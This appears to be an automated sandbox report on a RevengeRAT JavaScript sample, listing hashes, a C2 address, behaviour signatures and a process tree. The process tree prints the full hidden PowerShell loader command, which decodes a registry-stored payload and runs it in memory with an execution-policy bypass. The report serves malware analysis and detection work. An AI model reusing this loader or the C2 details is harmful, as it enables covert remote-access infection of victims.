Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/01/2025, 03:33

General

  • Target
    9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50.js
  • Size 258KB
  • Sample250121-d38v4atrap
  • SHA256 9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • revengerat

Botnet
  • NyanCatRevenge

C2
  • 13.49.66.229:333

Mutex
  • 8a25aa6e78e44708a

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Revengerat family
  • Blocklisted process makes network request 19 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\9c8faa656313b10e7e2d76f25bc33bfddfbdf2582ba8fe8e0ed3a4ff2ad64c50.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','30');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3004

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_autqdidp.ylr.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_autqdidp.ylr.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3004-0-0x00007FFA8A943000-0x00007FFA8A945000-memory.dmp

        memory/3004-6-0x000001F6A7040000-0x000001F6A7062000-memory.dmp

        memory/3004-11-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

        memory/3004-12-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp

        memory/3004-13-0x000001F6A71C0000-0x000001F6A7204000-memory.dmp

        memory/3004-14-0x000001F6A6700000-0x000001F6A670A000-memory.dmp

        memory/3004-15-0x000001F6A75E0000-0x000001F6A7656000-memory.dmp

        memory/3004-16-0x00007FFA8A943000-0x00007FFA8A945000-memory.dmp

        memory/3004-17-0x00007FFA8A940000-0x00007FFA8B401000-memory.dmp